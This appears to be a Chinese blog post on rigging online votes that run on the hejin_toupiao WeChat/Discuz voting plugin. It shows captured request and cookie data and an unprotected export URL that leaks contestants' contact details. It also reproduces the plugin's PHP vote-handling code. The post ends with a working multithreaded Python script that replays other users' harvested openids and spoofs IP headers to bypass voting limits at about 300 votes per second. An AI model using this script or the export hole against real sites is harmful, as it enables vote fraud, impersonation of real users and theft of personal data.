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前两天帮朋友网上拉票,感觉这东西放在程序员面前就是一种讽刺(冲着我是程序员才找我的,当了程序员总有人认为你就会盗QQ、攻击、修电脑。。。。)
直接进入主题,用到的工具:
Quote:1.插件源码
2.fiddler 4
3.python
0×1 开始研究
用fiddler进行抓包的数据,微信打开的,抓取到了投票POST表单的链接和数据还有cookie
Quote:http://www.xxx.com/plugin.php?id=hejin_toupiao&model=ticket&zid=xxxx&formhash=xxxx&
参数 :
zid 是用户ID
formhash 是dz的验证之类的,大概看了下最后发现这个东西然并卵(对于本次刷票来说)
hejin_toupiao 通过这儿来判断是禾今程序的,一百度就搞定
Cookie:
Quote:03oj_2132_saltkey=N8uS18SZ; 03oj_2132_lastvisit=1497202143; hjbox_openid=xxxxx; 03oj_2132_sid=CINl9f; 03oj_2132_lastact=1497285758%09plugin.php%09
根据最后源码分析 得出结论 除了 hjbox_openid= xxxxx ; 有用其他的也然并卵
通过python模拟请求提交相同的数据表单 还是只可以投票三次,至少说明同样的数据是可以提交有效的
0×2 分析源码
网上找了套插件源码来看看,其实开始没抱有多大希望的,模拟提交数据后就一直在研究模拟伪造数据提交,不过没希望。
开源码包,开箱验货。
惊喜全部在“hejin_toupiao.inc.php”文件中,发现有几个重点的代码:
上下大致看了下没有做权限设置,直接修改url测试了下
http://www.xxx.com/plugin.php?id=hejin_toupiao&model=daochu&vid=1 (vid是投票活动的id)
回车访问弹出csv文件下载,下载下来打开,前一百名选手的基本信息,包含了联系方式。
基本数据都出来了,红色框的那个选手感觉明显刷票。。。。
然后又试着到处了单个用户的投票数据,开始想的是看看前几名是否有刷票的证据,结果前几名数据量太大倒不出来只好道后面的几个
每一次有效数据都在,留着备用,开始看投票流程的代码,其实也很简单 PHP一看基本大体流程就熟悉了
複製代碼<?php
//投票
if ($model == 'ticket') {
if ($_GET['formhash'] == formhash()) {
if ($_GET['zid']) {
$data = array(); $zid = intval($_GET['zid']);
if ($hejintoupiao['hjtp_numbtp']) {
$data['status'] = 888; //编号投票
} else {
if ($_COOKIE['hjbox_openid']) {
$openid = addslashes($_COOKIE['hjbox_openid']);
$user = C::t('#hejin_toupiao#hjbox_users')->fetch_by_openid($openid);
if (count($user)) {
if ($user['is_gz'] == 1) {
$zuopin = C::t('#hejin_toupiao#hjtp_zuopins')->fetch_by_id($zid);
if (count($zuopin)) {
if ($zuopin['is_show'] != 1) {
$data['status'] = 107;
} else {
$vote = C::t('#hejin_toupiao#hjtp_votes')->fetch_by_id(intval($zuopin['vid']));
if ($vote['vote_time'] > time()) {
$data['status'] = 103; //投票还未开始
} elseif ($vote['end_time'] < time()) {
$data['status'] = 104; //投票已经结束
} elseif (($vote['start_time'] < time()) && ($vote['over_time'] > time()) && $vote['yuliub'] && ($zuopin['toupiaos'] >= $vote['yuliub'])) {
$data['status'] = 120; //报名期间达到投票限制数
} else {
if ($hejintoupiao['hjtp_ipxz'] && $hejintoupiao['hjtp_ipid']) {
$tpip = GetIP();
$ipdata = get_ip_data($tpip);
if ($ipdata) {
if ($hejintoupiao['hjtp_ipfw'] == 1) {
$ipid = $ipdata['region_id'];
} elseif ($hejintoupiao['hjtp_ipfw'] == 2) {
$ipid = $ipdata['city_id'];
}
if ($ipid == $hejintoupiao['hjtp_ipid']) {
$quyuxz = 1;
} else {
$quyuxz = 0;
}
} else {
$quyuxz = 1;
}
} else {
$quyuxz = 1;
}
if ($quyuxz == 1) { //ip范围限制
$today = date('Y-m-d', time());
if ($hejintoupiao['hjtp_tpxzmos'] == 2) {
$timedate = 1111111111;
} else {
$timedate = strtotime($today);
}
$utpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_today_uid_vid(intval($user['id']), intval($vote['id']), $timedate);
$ip = GetIP(); //获取ip流程
if ($vote['ipnubs'] > 0) {
$iptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_today_ip_vid(addslashes($ip), intval($vote['id']), $timedate);
if (count($iptpjls) < $vote['ipnubs']) {
if (count($utpjls) < $vote['tpnub']) {
if ($hejintoupiao['hjtp_tpxznub']) {
$usetpjl = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_by_zvudid($zid, intval($vote['id']), intval($user['id']), $timedate);
if (count($usetpjl)) {
$tpxznub = 0;
} else {
$tpxznub = 1;
}
} else {
$tpxznub = 1;
}
if ($tpxznub == 1) { //判断用户是否已经给这个用户投过一票
if ($hejintoupiao['hjtp_zdpbzp']) {
$sptime = time() - 60;
$spnubmer = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_sptime_all($zid, intval($sptime));
$spnub = count($spnubmer);
if ($spnub > $hejintoupiao['hjtp_zdpbzp']) {
$xzspzdpb = 0;
} else {
$xzspzdpb = 1;
}
} else {
$xzspzdpb = 1;
}
if ($xzspzdpb) {
//写投票流程
$tpdata = array();
$tpdata['zid'] = $zid;
$tpdata['uid'] = intval($user['id']);
$tpdata['vid'] = intval($vote['id']);
$tpdata['openid'] = $openid;
$tpdata['ips'] = addslashes($ip);
$tpdata['timedate'] = $timedate;
$tpdata['yuliua'] = time();
$addtpjl = C::t('#hejin_toupiao#hjtp_tpjles')->insert($tpdata);
if ($addtpjl) {
$data['status'] = 108; //投票成功
$zptpup = array();
if ($hejintoupiao['hjtp_qxgzjp']) {
if ($zuopin['yuliua']) {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = intval($zuopin['yuliua'] + 1);
} else {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = count($zptpjls);
}
} else {
$zptpup['toupiaos'] = intval($zuopin['toupiaos'] + 1);
$zptpup['yuliua'] = intval($zuopin['toupiaos'] + 1);
}
$upzptps = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zptpup);
$votetpup = array();
$votetpup['toupiaos'] = intval($vote['toupiaos'] + 1);
$upvotetp = C::t('#hejin_toupiao#hjtp_votes')->update_by_id(intval($vote['id']), $votetpup);
if ($hejintoupiao['hjtp_tpjl'] && $hejintoupiao['hjtp_tpjlnub']) {
$upjifen = array();
$upjifen['yuliua'] = intval($user['yuliua'] + $hejintoupiao['hjtp_tpjlnub']);
$jifenzj = C::t('#hejin_toupiao#hjbox_users')->update_by_id(intval($user['id']), $upjifen);
}
} else {
$data['status'] = 107; //投票不成功
}
} else {
$zdpbspdata = array('is_show' => 3,);
$zdpbsp = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zdpbspdata);
}
} else {
$data['status'] = 109; //今日已经给这个用户投过票了
}
} else {
$data['status'] = 106; //此用户今日已无法投票
}
} else {
$data['status'] = 105; //此ip下今日已无法投票
}
} else {
if (count($utpjls) < $vote['tpnub']) {
if ($hejintoupiao['hjtp_tpxznub']) {
$usetpjl = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_by_zvudid($zid, intval($vote['id']), intval($user['id']), $timedate);
if (count($usetpjl)) {
$tpxznub = 0;
} else {
$tpxznub = 1;
}
} else {
$tpxznub = 1;
}
if ($tpxznub) { //判断用户是否已经给这个用户投过一票
if ($hejintoupiao['hjtp_zdpbzp']) {
$sptime = time() - 60;
$spnubmer = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_sptime_all($zid, intval($sptime));
$spnub = count($spnubmer);
if ($spnub > $hejintoupiao['hjtp_zdpbzp']) {
$xzspzdpb = 0;
} else {
$xzspzdpb = 1;
}
} else {
$xzspzdpb = 1;
}
if ($xzspzdpb) {
//写投票流程
$tpdata = array();
$tpdata['zid'] = $zid;
$tpdata['uid'] = intval($user['id']);
$tpdata['vid'] = intval($vote['id']);
$tpdata['openid'] = $openid;
$tpdata['ips'] = addslashes($ip);
$tpdata['timedate'] = $timedate;
$tpdata['yuliua'] = time();
$addtpjl = C::t('#hejin_toupiao#hjtp_tpjles')->insert($tpdata);
if ($addtpjl) {
$data['status'] = 108; //投票成功
$zptpup = array();
if ($hejintoupiao['hjtp_qxgzjp']) {
if ($zuopin['yuliua']) {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = intval($zuopin['yuliua'] + 1);
} else {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = count($zptpjls);
}
} else {
$zptpup['toupiaos'] = intval($zuopin['toupiaos'] + 1);
$zptpup['yuliua'] = intval($zuopin['toupiaos'] + 1);
}
$upzptps = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zptpup);
$votetpup = array();
$votetpup['toupiaos'] = intval($vote['toupiaos'] + 1);
$upvotetp = C::t('#hejin_toupiao#hjtp_votes')->update_by_id(intval($vote['id']), $votetpup);
if ($hejintoupiao['hjtp_tpjl'] && $hejintoupiao['hjtp_tpjlnub']) {
$upjifen = array();
$upjifen['yuliua'] = intval($user['yuliua'] + $hejintoupiao['hjtp_tpjlnub']);
$jifenzj = C::t('#hejin_toupiao#hjbox_users')->update_by_id(intval($user['id']), $upjifen);
}
} else {
$data['status'] = 107; //投票不成功
}
} else {
$zdpbspdata = array('is_show' => 3,);
$zdpbsp = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zdpbspdata);
}
} else {
$data['status'] = 109; //今日已经给这个用户投过票了
}
} else {
$data['status'] = 106; //此用户今日已无法投票
}
}
} else {
$data['status'] = 110; //ip不在限制范围中
}
}
}
}
} else {
$data['status'] = 102;
}
} else {
$data['status'] = 102;
}
} else {
$data['status'] = 102;
}
}
} else {
}
}
echo $data['status'];
}
0×3 刚入门的python拿来用用
一段代码有点长 有兴趣的自己慢慢看
测试了基本上原有的提交投票的表单数据不变,只变更openid就可以了
直接开始下载其他选手的投票数据然后把所有投过票的openid复制下来(投票过的openid是存在数据库的,陌生的openid需要通过微信来获取)
把openid全部装入redis队列里面,然后修改python模拟请求,每次获取一个openid进行提交三次投票。
测试没问题,都返回108(投票成功)
开始设置的是1秒钟三票,因为投票过快后台会锁定,视为机器刷票(开始跟官方核实过)
估计没机票返回105;//此ip下今日已无法投票
又开始了模拟IP地址,我相信这种程序也不会花太多心思去抓取真实IP
直接修改header参数
Quote:HTTP_CLIENT_IP
HTTP_X_FORWARDED_FOR
X-FORWARDED-FOR
REMOTE_ADDR
ip呢当然是随机生成的,但是这个办法确实是有效的,
绕过了微信浏览器验证、绕过了投票用户身份识别、绕过了单IP投票限制
刷票是可以的,但是考虑到这样刷还是有被发现的风险 毕竟提交表单的好多参数都是没变的
所以也就没刷了 只是这个方法测试可以用的,回到前面说的,投票同一时间过多就会被系统锁定判定为软件刷票,所以猜猜一秒钟300票是什么感觉?
0×4 代码
複製代碼# -* - coding: UTF-8 -* -
import urllib2
import time
import random
import threading
import redis
redis_conn=redis.ConnectionPool(host='127.0.0.1',port=6379,db=0) #获取redis中的队列
r = redis.StrictRedis(connection_pool=redis_conn)
def get_tick(openid):
for k in range(3):
ip = str(random.randint(10, 254))+\".\"+str(random.randint(100, 254))+\".\"+str(random.randint(100, 254))+\".\"+str(random.randint(100, 254)); #模拟ip地址
print ip;
host = \"http://XXXX.COM\"
url1 = host + \"/plugin.php?id=hejin_toupiao&model=ticket&zid=用户的ID&formhash=0342ae5b&_=\" + str(int(time.time())) #投票表单的连接
request = urllib2.Request(url1)
request.add_header(\"Cookie\",
\"03oj_2132_saltkey=N8uS18SZ; 03oj_2132_lastvisit=1497282143; hjbox_openid=\" + openid + \"; 03oj_2132_sid=CINl9f; 03oj_2132_lastact=1497285758%09plugin.php%09\") #cookie 主要是变动openid参数
request.add_header(\"User-Agent\",
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.493.400 QQBrowser/9.0.2524.400')
#模拟请求头 主要是模拟是在微信浏览器下面的
request.add_header(\"Referer\", \"http://XXXX.COM/plugin.php?id=hejin_toupiao&model=rank&vid=3\") #忽略
#下面就是模拟IP地址 貌似好像只有最后一个有效 写了一大堆 只要能用就行 也没注意别的
request.add_header(\"http_CLIENT_IP\",ip)
request.add_header(\"http_X_FORWARDED_FOR\", ip)
request.add_header(\"REMOTE_ADDR\", ip)
request.add_header(\"X-FORWARDED-FOR\", ip)
response = urllib2.urlopen(request) #提交请求
print response.read()
time.sleep(1)
def getdada(k):
print 'start Thread #'+k;
while True:
openid = r.lpop('openid') #读取队列然后丢进方法里面 ,不用redis也可以用别的
if openid != None:
get_tick(openid);
if __name__ == '__main__':
#每秒300票 分分钟over
for xx in range(300): # for循环创建启动20个线程
i = threading.Thread(target=getdada, args=(str(xx)))
i.start();
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